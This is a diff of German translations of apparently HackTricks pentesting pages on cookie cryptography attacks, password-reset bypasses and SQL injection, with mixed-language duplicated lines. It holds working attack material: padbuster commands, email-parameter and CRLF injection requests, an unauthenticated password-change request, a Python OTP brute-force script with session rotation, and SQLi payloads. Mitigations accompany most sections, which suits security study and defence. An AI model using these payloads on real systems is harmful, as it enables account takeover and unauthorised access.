- Versuche, den username mittels **bruteforce** anzugreifen. Wenn der cookie nur als Authentifizierungsmethode für deinen username dient, kannst du einen account mit dem username "**Bmin**" erstellen und mittels **bruteforce** jedes einzelne **bit** deines cookies durchprobieren, weil eines der cookies, die du testen wirst, dasjenige von "**admin**" sein wird.
- Versuche **Padding** **Oracle** (du kannst den Inhalt des cookies entschlüsseln). Verwende **padbuster**.
**Padding Oracle - Padbuster Beispiele**
```bash
@ -267,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster wird mehrere Versuche unternehmen und Sie fragen, welche Bedingung die Fehlerbedingung ist (die, die nicht gültig ist).
Padbuster wird mehrere Versuche durchführen und Sie fragen, welche Bedingung der Fehlerzustand ist (diejenige, die nicht gültig ist).
Dann beginnt es mit der Entschlüsselung des Cookies (es kann mehrere Minuten dauern).
Anschließend wird es mit dem decrypting the cookie beginnen (es kann mehrere Minuten dauern).
Wenn der Angriff erfolgreich durchgeführt wurde, können Sie versuchen, eine Zeichenfolge Ihrer Wahl zu verschlüsseln. Zum Beispiel, wenn Sie **encrypt** **user=administrator** verschlüsseln möchten.
Wenn der Angriff erfolgreich durchgeführt wurde, könnten Sie versuchen, eine Zeichenfolge Ihrer Wahl zu encrypt. Zum Beispiel, wenn Sie **encrypt** **user=administrator**.
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Diese Ausführung gibt Ihnen das Cookie korrekt verschlüsselt und kodiert mit dem String **user=administrator** darin.
This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
**CBC-MAC**
Vielleicht könnte ein Cookie einen Wert haben und mit CBC signiert werden. Dann ist die Integrität des Wertes die Signatur, die durch die Verwendung von CBC mit demselben Wert erstellt wird. Da empfohlen wird, als IV einen Nullvektor zu verwenden, könnte diese Art der Integritätsprüfung anfällig sein.
Vielleicht könnte ein cookie einen Wert haben und mit CBC signiert werden. Dann ist die Integrität des Wertes die signature, die mittels CBC über denselben Wert erzeugt wird. Da empfohlen wird, als IV einen Nullvektor zu verwenden, könnte diese Art der Integritätsprüfung verwundbar sein.
**Der Angriff**
**The attack**
1. Holen Sie sich die Signatur des Benutzernamens **administ** = **t**
2. Holen Sie sich die Signatur des Benutzernamens **rator\x00\x00\x00 XOR t** = **t'**
3. Setzen Sie im Cookie den Wert **administrator+t'** (**t'** wird eine gültige Signatur von **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** sein)
1. Hole die signature von username **administ** = **t**
2. Hole die signature von username **rator\x00\x00\x00 XOR t** = **t'**
3. Setze im cookie den Wert **administrator+t'** (**t'** wird eine gültige signature von **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** sein)
**ECB**
Wenn das Cookie mit ECB verschlüsselt ist, könnte es anfällig sein.\
Wenn Sie sich anmelden, muss das Cookie, das Sie erhalten, immer dasselbe sein.
If the cookie is encrypted using ECB it could be vulnerable.\
Wenn du dich einloggst, muss der cookie, den du erhältst, immer derselbe sein.
**Wie man erkennt und angreift:**
**How to detect and attack:**
Erstellen Sie 2 Benutzer mit fast denselben Daten (Benutzername, Passwort, E-Mail usw.) und versuchen Sie, ein Muster im gegebenen Cookie zu entdecken.
Erstelle 2 users mit fast denselben Daten (username, password, email, etc.) und versuche, ein Muster im erhaltenen cookie zu entdecken.
Erstellen Sie einen Benutzer mit dem Namen "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und überprüfen Sie, ob es ein Muster im Cookie gibt (da ECB mit demselben Schlüssel jeden Block verschlüsselt, könnten die gleichen verschlüsselten Bytes erscheinen, wenn der Benutzername verschlüsselt wird).
Erstelle z. B. einen user namens "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und prüfe, ob es ein Muster im cookie gibt (da ECB mit demselben key jeden block verschlüsselt, könnten dieselben verschlüsselten Bytes erscheinen, wenn der username verschlüsselt wird).
Es sollte ein Muster geben (mit der Größe eines verwendeten Blocks). Wenn Sie wissen, wie eine Menge von "a" verschlüsselt ist, können Sie einen Benutzernamen erstellen: "a"\*(Größe des Blocks)+"admin". Dann könnten Sie das verschlüsselte Muster eines Blocks von "a" aus dem Cookie löschen. Und Sie haben das Cookie des Benutzernamens "admin".
Es sollte ein Muster geben (mit der Größe eines verwendeten block). Wenn du weißt, wie eine Reihe von "a" verschlüsselt wird, kannst du einen username erstellen: "a"\*(size of the block)+"admin". Dann kannst du das verschlüsselte Muster eines block von "a" aus dem cookie löschen. Und du erhältst den cookie des username "admin".
## References
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,182 +1,182 @@
# Zurücksetzen/vergessenes Passwort umgehen
# Reset/Forgotten Password Bypass
{{#include ../banners/hacktricks-training.md}}
## **Leck des Passwort-Zurücksetzen-Tokens über den Referrer**
## **Password Reset Token Leak Via Referrer**
- Der HTTP-Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann geschehen, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
- **Auswirkungen**: Potenzieller Kontoübernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
- **Ausnutzung**: Um zu überprüfen, ob ein Passwort-Zurücksetzen-Token im Referer-Header geleakt wird, **fordern Sie eine Passwortzurücksetzung** an Ihre E-Mail-Adresse an und **klicken Sie auf den bereitgestellten Zurücksetzen-Link**. **Ändern Sie Ihr Passwort** nicht sofort. Stattdessen **navigieren Sie zu einer Drittanbieter-Website** (wie Facebook oder Twitter), während Sie **die Anfragen mit Burp Suite abfangen**. Überprüfen Sie die Anfragen, um zu sehen, ob der **Referer-Header das Passwort-Zurücksetzen-Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
- **Referenzen**:
- [HackerOne Bericht 342693](https://hackerone.com/reports/342693)
- [HackerOne Bericht 272379](https://hackerone.com/reports/272379)
- [Artikel über das Leck des Passwort-Zurücksetzen-Tokens](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- Der HTTP referer header kann zu einem leak des Password Reset Tokens führen, wenn es in der URL enthalten ist. Dies kann auftreten, wenn ein Benutzer nach Anforderung eines Password Resets auf einen Link einer Drittanbieter-Website klickt.
- **Impact**: Mögliche Account-Übernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
- **Exploitation**: Um zu prüfen, ob ein Password Reset Token im referer header leak't, **fordere einen Password Reset** für deine E-Mail-Adresse an und **klicke auf den bereitgestellten Reset-Link**. **Ändere dein Passwort nicht** sofort. Navigiere stattdessen zu einer Drittanbieter-Website (wie Facebook oder Twitter), während du **die Requests mit Burp Suite abfängst**. Untersuche die Requests, um zu sehen, ob der **referer header das Password Reset Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Vergiftung des Passwort-Zurücksetzen**
## **Password Reset Poisoning**
- Angreifer können den Host-Header während der Passwort-Zurücksetzen-Anfragen manipulieren, um den Zurücksetzen-Link auf eine bösartige Seite zu verweisen.
- **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Tokens an Angreifer.
- **Minderungsmaßnahmen**:
- Validieren Sie den Host-Header gegen eine Whitelist erlaubter Domains.
- Verwenden Sie sichere, serverseitige Methoden zur Generierung absoluter URLs.
- **Patch**: Verwenden Sie `$_SERVER['SERVER_NAME']`, um Passwort-Zurücksetzen-URLs zu konstruieren, anstatt `$_SERVER['HTTP_HOST']`.
- **Referenzen**:
- [Acunetix Artikel über Passwort-Zurücksetzen-Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- Angreifer können den Host header während Password-Reset-Anfragen manipulieren, um den Reset-Link auf eine bösartige Seite zeigen zu lassen.
- **Impact**: Führt möglicherweise zur Account-Übernahme durch das Leaken von Reset-Tokens an Angreifer.
- **Mitigation Steps**:
- Validieren Sie den Host header gegen eine Whitelist erlaubter Domains.
- Verwenden Sie sichere, serverseitige Methoden, um absolute URLs zu generieren.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Passwort-Zurücksetzen durch Manipulation des E-Mail-Parameters**
## **Password Reset By Manipulating Email Parameter**
Angreifer können die Passwort-Zurücksetzen-Anfrage manipulieren, indem sie zusätzliche E-Mail-Parameter hinzufügen, um den Zurücksetzen-Link umzuleiten.
Angreifer können die Password-Reset-Anfrage manipulieren, indem sie zusätzliche email-Parameter hinzufügen, um den Reset-Link umzuleiten.
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit & hinzu.
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mithilfe von & hinzu
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit %20 hinzu
- Füge attacker email als zweiten Parameter mit %20 hinzu
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit | hinzu
- Füge attacker email als zweiten Parameter mit | hinzu
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit cc hinzu
- Füge die E-Mail des Angreifers als zweiten Parameter per cc hinzu
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter unter Verwendung von BCC hinzu
Füge attacker email als zweiten Parameter mit bcc hinzu
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit , hinzu.
- Füge attacker email als zweiten Parameter hinzu, indem du , verwendest
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter im JSON-Array hinzu.
Füge attacker email als zweiten Parameter im json array hinzu
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Minderungsmaßnahmen**:
- E-Mail-Parameter serverseitig korrekt analysieren und validieren.
- Verwenden Sie vorbereitete Anweisungen oder parameterisierte Abfragen, um Injektionsangriffe zu verhindern.
- **Abhilfemaßnahmen**:
- E-Mail-Parameter serverseitig korrekt parsen und validieren.
- Use prepared statements or parameterized queries, um Injection-Angriffe zu verhindern.
- **Referenzen**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Ändern der E-Mail und des Passworts eines Benutzers über API-Parameter**
## **Ändern von E-Mail und Passwort eines beliebigen Nutzers über API-Parameter**
- Angreifer können E-Mail- und Passwortparameter in API-Anfragen ändern, um Anmeldeinformationen zu ändern.
- Angreifer können E-Mail- und Passwortparameter in API-Anfragen manipulieren, um die Zugangsdaten eines Kontos zu ändern.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Minderungsmaßnahmen**:
- Stellen Sie strenge Parameterüberprüfungen und Authentifizierungsprüfungen sicher.
- Implementieren Sie robuste Protokollierung und Überwachung, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
- **Gegenmaßnahmen**:
- Stellen Sie strikte Parameter-Validierung und Authentifizierungsprüfungen sicher.
- Implementieren Sie robustes Logging und Monitoring, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
- **Referenz**:
- [Vollständige Kontoübernahme über API-Parameter-Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Keine Ratenbegrenzung: E-Mail-Bombardierung**
## **No Rate Limiting: Email Bombing**
- Mangelnde Ratenbegrenzung bei Passwortzurücksetzanforderungen kann zu E-Mail-Bombardierung führen, wodurch der Benutzer mit Rücksetz-E-Mails überflutet wird.
- **Minderungsmaßnahmen**:
- Implementieren Sie eine Ratenbegrenzung basierend auf IP-Adresse oder Benutzerkonto.
- Verwenden Sie CAPTCHA-Herausforderungen, um automatisierten Missbrauch zu verhindern.
- Fehlende Rate-Limiting bei password reset requests kann zu email bombing führen und den Nutzer mit reset emails überfluten.
- **Gegenmaßnahmen**:
- Implementieren Sie Rate-Limiting basierend auf IP-Adresse oder Benutzerkonto.
- Verwenden Sie CAPTCHA-Challenges, um automatisierten Missbrauch zu verhindern.
- **Referenzen**:
- [HackerOne Bericht 280534](https://hackerone.com/reports/280534)
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Herausfinden, wie das Passwort-Zurücksetz-Token generiert wird**
## **Ermitteln, wie Password Reset Token generiert werden**
- Das Verständnis des Musters oder der Methode hinter der Token-Generierung kann dazu führen, dass Tokens vorhergesagt oder brute-forced werden. Einige Optionen:
- Basierend auf Zeitstempel
- Basierend auf der Benutzer-ID
- Basierend auf der E-Mail des Benutzers
- Basierend auf Vorname und Nachname
- Basierend auf Geburtsdatum
- Basierend auf Kryptografie
- **Minderungsmaßnahmen**:
- Verwenden Sie starke, kryptografische Methoden zur Token-Generierung.
- Das Verständnis des Musters oder Verfahrens hinter der Token-Generierung kann dazu führen, Tokens vorherzusagen oder per brute-forcing zu erraten. Einige Optionen:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- **Gegenmaßnahmen**:
- Verwenden Sie starke, kryptographische Methoden zur Token-Generierung.
- Stellen Sie ausreichende Zufälligkeit und Länge sicher, um Vorhersehbarkeit zu verhindern.
- **Tools**: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.
## **Erratbare UUID**
## **Guessable UUID**
- Wenn UUIDs (Version 1) erratbar oder vorhersehbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie:
- Wenn UUIDs (version 1) erratbar oder vorhersagbar sind, können Angreifer sie per brute-force durchprobieren, um gültige reset tokens zu generieren. Check:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Minderungsmaßnahmen**:
- Verwenden Sie GUID Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
- **Tools**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zur Analyse und Generierung von GUIDs.
- **Gegenmaßnahmen**:
- Verwenden Sie GUID version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
- **Tools**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zum Analysieren und Generieren von GUIDs.
## **Antwortmanipulation: Schlechte Antwort durch gute ersetzen**
## **Response Manipulation: Replace Bad Response With Good One**
- Manipulation von HTTP-Antworten, um Fehlermeldungen oder Einschränkungen zu umgehen.
- **Minderungsmaßnahmen**:
- Implementieren Sie serverseitige Überprüfungen, um die Integrität der Antwort sicherzustellen.
- **Gegenmaßnahmen**:
- Implementieren Sie serverseitige Prüfungen, um die Integrität der Antworten sicherzustellen.
- Verwenden Sie sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
- **Referenz**:
- [Kritischer Fehler bei Live-Bug-Bounty-Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Verwendung eines abgelaufenen Tokens**
## **Using Expired Token**
- Überprüfen, ob abgelaufene Tokens weiterhin für das Zurücksetzen des Passworts verwendet werden können.
- **Minderungsmaßnahmen**:
- Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie das Token-Ablaufdatum serverseitig.
- Testen, ob abgelaufene Tokens weiterhin für password reset verwendet werden können.
- **Gegenmaßnahmen**:
- Implementieren Sie strikte Ablaufrichtlinien für Tokens und validieren Sie das Token-Ablaufdatum serverseitig.
## **Brute Force Passwort-Zurücksetz-Token**
## **Brute Force Password Reset Token**
- Versuch, das Rücksetz-Token mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen.
- **Minderungsmaßnahmen**:
- Implementieren Sie robuste Ratenbegrenzungs- und Kontosperrmechanismen.
- Versuch, das reset token per brute-force mit Tools wie Burpsuite und IP-Rotator zu erraten, um IP-basierte Rate-Limits zu umgehen.
- **Gegenmaßnahmen**:
- Implementieren Sie robustes Rate-Limiting und Account-Lockout-Mechanismen.
- Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.
## **Versuchen Sie, Ihr Token zu verwenden**
## **Try Using Your Token**
- Überprüfen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
- **Minderungsmaßnahmen**:
- Stellen Sie sicher, dass Tokens an die Benutzersitzung oder andere benutzerspezifische Attribute gebunden sind.
- Testen, ob das reset token eines Angreifers zusammen mit der E-Mail des Opfers verwendet werden kann.
- **Gegenmaßnahmen**:
- Stellen Sie sicher, dass Tokens an die Benutzersession oder andere benutzerspezifische Attribute gebunden sind.
## **Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung**
## **Session Invalidation in Logout/Password Reset**
- Sicherstellen, dass Sitzungen ungültig werden, wenn sich ein Benutzer abmeldet oder sein Passwort zurücksetzt.
- **Minderungsmaßnahmen**:
- Implementieren Sie ein angemessenes Sitzungsmanagement, um sicherzustellen, dass alle Sitzungen bei Abmeldung oder Passwortzurücksetzung ungültig werden.
- Sicherstellen, dass Sessions invalidiert werden, wenn ein Benutzer ausloggt oder sein Passwort zurücksetzt.
- **Gegenmaßnahmen**:
- Implementieren Sie korrektes Session-Management und stellen Sie sicher, dass alle Sessions beim Logout oder password reset invalidiert werden.
## **Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung**
## **Session Invalidation in Logout/Password Reset**
- Rücksetz-Token sollten eine Ablaufzeit haben, nach der sie ungültig werden.
- **Minderungsmaßnahmen**:
- Setzen Sie eine angemessene Ablaufzeit für Rücksetz-Token fest und setzen Sie diese serverseitig strikt durch.
- Reset tokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
- **Gegenmaßnahmen**:
- Setzen Sie eine angemessene Ablaufzeit für Reset-Tokens und erzwingen Sie diese strikt serverseitig.
## **OTP-Ratenlimit-Umgehung durch Ändern Ihrer Sitzung**
## **OTP rate limit bypass by changing your session**
- Wenn die Website die Benutzersitzung verwendet, um falsche OTP-Versuche zu verfolgen, und das OTP schwach war (<= 4 Ziffern), können wir das OTP effektiv brute-forcen.
- Wenn die Website die Benutzersession verwendet, um falsche OTP-Versuche zu verfolgen und das OTP schwach ist (<= 4 digits), kann das OTP effektiv per brute-force erraten werden.
- **Ausnutzung**:
- Fordern Sie einfach ein neues Sitzungstoken an, nachdem Sie vom Server blockiert wurden.
- **Beispiel** Code, der diesen Fehler ausnutzt, indem er das OTP zufällig errät (wenn Sie die Sitzung ändern, ändert sich auch das OTP, und wir können es nicht sequenziell brute-forcen!):
- Fordern Sie einfach ein neues Session-Token an, nachdem Sie vom Server blockiert wurden.
- **Beispiel** code, der diesen Bug ausnutzt, indem er das OTP zufällig errät (wenn Sie die Session ändern, ändert sich auch das OTP, und daher können wir es nicht sequentiell brute-forcen!):
``` python
# Authentifizierungsumgehung durch Passwortzurücksetzung
# von coderMohammed
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
@ -193,46 +193,83 @@ parms = dict()
ter = 0
phpsessid = ""
print("[+] Angriff startet!")
print("[+] Starting attack!")
sleep(3)
print("[+] Dies könnte etwa 5 Minuten dauern!")
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # Zufallszahl von 0 - 9999 mit 4 d
parms["s"] = 164 # nicht wichtig, es beeinflusst nur das Frontend
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # Anzahl der Versuche verfolgen
out = requests.get(logout,headers=headers) # meldet Sie ab
mainp = requests.get(root) # erhält eine andere phpssid (Token)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extrahiert die sessionid
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualisiert die Header mit neuer Sitzung
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sendet die E-Mail zum Ändern des Passworts
ter = 0 # setzt ter zurück, damit wir nach 8 Versuchen eine neue Sitzung erhalten
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # dies ist die Länge der Seite, wenn Sie den Wiederherstellungscode korrekt erhalten (durch Testen erhalten)
print(len(res.text)) # für Debug-Informationen
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # hier werden wir das Passwort auf etwas Neues ändern
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Passwort wurde geändert in: D37djkamd!")
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Angriff gestoppt")
print("[+] Attck stopped")
```
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Einige Implementierungen exponieren eine password change action, die die password-change-Routine mit skipOldPwdCheck=true aufruft und keinen reset token oder Besitz verifiziert. Wenn der Endpoint einen action-Parameter wie change_password und einen username/new password im Request-Body akzeptiert, kann ein Angreifer beliebige Accounts pre-auth zurücksetzen.
Vulnerable pattern (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Exploitation-Anfrage (Konzept):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Gegenmaßnahmen:
- Fordere immer ein gültiges, zeitlich begrenztes reset token, das an das account und die session gebunden ist, bevor ein password geändert wird.
- Gib skipOldPwdCheck paths niemals für unauthenticated users frei; erzwinge authentication für reguläre password-Änderungen und überprüfe das old password.
- Mache nach einer password-Änderung alle aktiven sessions und reset tokens ungültig.
## Referenzen
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Was ist SQL-Injection?
## Was ist SQL injection?
Eine **SQL-Injection** ist eine Sicherheitsanfälligkeit, die es Angreifern ermöglicht, **Datenbankabfragen** einer Anwendung zu **beeinflussen**. Diese Schwachstelle kann Angreifern ermöglichen, **Daten zu sehen**, **zu ändern** oder **zu löschen**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar zu einer Kompromittierung des Servers oder einem Denial of Service.
Eine **SQL injection** ist eine Sicherheitslücke, die Angreifern erlaubt, mit den Datenbankabfragen einer Anwendung zu **interagieren**. Diese Schwachstelle kann Angreifern ermöglichen, **Daten einzusehen (view)**, **zu verändern (modify)** oder **zu löschen (delete)**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Nutzer oder beliebiger Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder am Inhalt der Anwendung führen oder sogar zur Kompromittierung des Servers oder zu einem denial of service.
## Erkennung von Einstiegspunkten
Wenn eine Website **anfällig für SQL-Injection (SQLi)** erscheint, aufgrund ungewöhnlicher Serverantworten auf SQLi-bezogene Eingaben, ist der **erste Schritt**, zu verstehen, wie man **Daten in die Abfrage injiziert, ohne sie zu stören**. Dies erfordert die Identifizierung der Methode, um **effektiv aus dem aktuellen Kontext zu entkommen**. Dies sind einige nützliche Beispiele:
Wenn eine Site aufgrund ungewöhnlicher Server-Antworten auf SQLi-bezogene Eingaben **anfällig für SQL injection (SQLi)** zu sein scheint, ist der **erste Schritt**, zu verstehen, wie man **Daten in die Abfrage injiziert, ohne diese zu unterbrechen**. Dazu muss die Methode identifiziert werden, um **aus dem aktuellen Kontext herauszue scapen (escape)**. Das sind einige nützliche Beispiele:
```
[Nothing]
'
@ -21,9 +21,9 @@ Wenn eine Website **anfällig für SQL-Injection (SQLi)** erscheint, aufgrund un
"))
`))
```
Dann müssen Sie wissen, wie Sie **die Abfrage so beheben, dass keine Fehler auftreten**. Um die Abfrage zu beheben, können Sie **Daten eingeben**, damit **die vorherige Abfrage die neuen Daten akzeptiert**, oder Sie können einfach **Ihre Daten eingeben und ein Kommentarsymbol am Ende hinzufügen**.
Dann musst du wissen, wie du die Abfrage so **korrigierst, dass keine Fehler auftreten**. Um die Abfrage zu beheben, kannst du Daten **eingeben**, sodass die **vorherige Abfrage die neuen Daten akzeptiert**, oder du kannst einfach deine Daten **eingeben** und am Ende ein Kommentarsymbol **hinzufügen**.
_Beachten Sie, dass diese Phase einfacher wird, wenn Sie Fehlermeldungen sehen oder Unterschiede feststellen können, wenn eine Abfrage funktioniert und wenn nicht._
_Beachte, dass diese Phase einfacher wird, wenn du Fehlermeldungen siehst oder Unterschiede erkennen kannst, wenn eine Abfrage funktioniert und wenn sie es nicht tut._
### **Kommentare**
```sql
@ -53,21 +53,21 @@ HQL does not support comments
```
### Bestätigung mit logischen Operationen
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel deutet ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, auf eine SQL-Injection-Schwachstelle hin.
